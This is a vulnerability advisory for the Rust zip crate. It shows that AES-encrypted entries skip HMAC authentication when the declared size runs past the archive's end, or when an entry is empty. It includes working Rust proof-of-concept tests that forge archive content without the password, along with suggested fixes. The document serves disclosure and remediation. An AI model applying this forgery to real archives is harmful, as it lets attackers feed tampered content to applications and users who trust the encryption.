zip: AES Entry HMAC Authentication Bypass on Premature EOF

Summary

An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared compressed_size, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.

Details

src/aes.rs:246-292:

fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
    if self.data_remaining == 0 { // @audit insufficient check
        return Ok(0);
    }

    // get the number of bytes to read, compare as u64 to make sure we can read more than
    // 2^32 bytes even on 32 bit systems.
    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;
    let read = self.reader.read(&mut buf[0..bytes_to_read])?;
    self.data_remaining -= read as u64;

    // Update the hmac with the encrypted data
    self.hmac.update(&buf[0..read]);

    // decrypt the data
    self.cipher.crypt_in_place(&mut buf[0..read]);

    // if there is no data left to read, check the integrity of the data
    if self.data_remaining == 0 {
        debug_assert!(
            !self.finalized,
            "Tried to use an already finalized HMAC. This is a bug!"
        );
        if self.finalized {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Tried to use an already finalized HMAC",
            ));
        }
        self.finalized = true;

        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash
        // see https://www.winzip.com/win/en/aes_info.html#auth-faq
        let mut read_auth_code = [0; AUTH_CODE_LENGTH];
        self.reader.read_exact(&mut read_auth_code)?;
        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];

        // use constant time comparison to mitigate timing attacks
        if !constant_time_eq(computed_auth_code, &read_auth_code) {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Invalid authentication code, this could be due to an invalid password or errors in the data",
            ));
        }
    }

    Ok(read)
}

data_remaining starts at compressed_size - (2 + 10 + salt_length) (src/aes.rs:144-145), where compressed_size comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: ZipFileData::find_content() is just reader.take(self.compressed_size) (src/types.rs:214-223), and make_crypto_reader() passes the declared value into AesReader::new() (src/read/readers.rs).

When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns Ok(0), the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the Take limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of read() means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.

This defeats the guarantee the type documents: "After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."

AE-2 entries skip the CRC-32 check by design (src/read/readers.rs → Crc32Reader::new(.., should_disable = true)), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including by_index_decrypt(), by_name_decrypt(), by_path_decrypt(), and by_index_with_options() when a password is supplied. Bare extract() calls by_index() without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.

PoC

tests/aes_hmac_bypass.rs below; Cargo.toml needs only zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }, or zip = "8.6.0" to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.

use std::io::{Cursor, Read, Write};
use zip::write::SimpleFileOptions;
use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};

const PASSWORD: &str = "correct horse battery staple";
const GENUINE: &[u8] = b"balance: 100 USD\n";
const FORGED: &[u8] = b"balance: 999 USD\n";
const AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag

fn genuine_archive(plaintext: &[u8]) -> Vec<u8> {
    let mut w = ZipWriter::new(Cursor::new(Vec::new()));
    let opts = SimpleFileOptions::default()
        .compression_method(CompressionMethod::Stored)
        .with_aes_encryption(AesMode::Aes256, PASSWORD);
    w.start_file("secret.txt", opts).unwrap();
    w.write_all(plaintext).unwrap();
    w.finish().unwrap().into_inner()
}

/// What a victim does: open with the correct password and read the entry.
fn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> {
    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();
    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();
    let mut out = Vec::new();
    f.read_to_end(&mut out)?;
    Ok(out)
}

fn u16le(b: &[u8], off: usize) -> usize {
    u16::from_le_bytes([b[off], b[off + 1]]) as usize
}

/// Payload offset of the single local file header at offset 0.
fn payload_start(a: &[u8]) -> usize {
    30 + u16le(a, 26) + u16le(a, 28)
}

/// Control: on a well-formed archive the HMAC does reject forged ciphertext.
#[test]
fn tampering_is_detected_when_the_declared_size_is_honest() {
    let mut a = genuine_archive(GENUINE);
    let ct = payload_start(&a) + 18;
    for i in 0..GENUINE.len() {
        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable
    }
    let err = victim_reads(&a).unwrap_err();
    assert!(err.to_string().contains("Invalid authentication code"));
}

/// The bypass: chosen plaintext is delivered verbatim, without the password.
#[test]
fn hmac_is_bypassed_when_the_entry_ends_early() {
    let genuine = genuine_archive(GENUINE);
    let hdr_len = payload_start(&genuine);
    let eocd = genuine.len() - 22; // no archive comment yet
    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;

    // Park a second copy of the entry after the end-of-central-directory record,
    // inside the archive comment, so its data ends at true EOF. Header, salt and
    // password verifier are copied verbatim — no password knowledge is required.
    let mut evil = genuine.clone();
    let new_hdr_offset = evil.len() as u32;
    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier
    for i in 0..GENUINE.len() {
        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.
        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);
    }
    let comment_len = (evil.len() - genuine.len()) as u16;
    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());

    // Repoint the central directory at the parked copy and declare more data than
    // is present, so `data_remaining` can never reach zero.
    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;
    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());
    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());
    let hdr2 = new_hdr_offset as usize;
    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());

    let content = victim_reads(&evil).expect("BUG: unauthenticated content was accepted");
    assert_eq!(content, FORGED);
}

/// Second path: an entry with no payload bytes is never authenticated at all.
#[test]
fn hmac_is_never_checked_for_a_zero_length_entry() {
    let mut a = genuine_archive(b"");
    let tag = payload_start(&a) + 18;
    a[tag] ^= 0xff; // corrupt the 10-byte authentication code
    let content = victim_reads(&a).expect("BUG: a corrupt authentication code was accepted");
    assert!(content.is_empty());
}

Turning the genuine plaintext into a chosen plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.

Impact

Any application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.

Suggested remediation

1. In AesReaderValid::read(), treat a short inner read as an error rather than a clean EOF: after the decrement, if read == 0 && self.data_remaining > 0, return ErrorKind::UnexpectedEof.
2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when data_length == 0.
3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in ZipFileData::find_content() / find_content_seek() (src/types.rs). Also make the compressed_size - overhead subtraction in AesReader::new() (src/aes.rs:144) checked — today a declared size below the AES overhead underflows it, which panics under overflow-checks and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.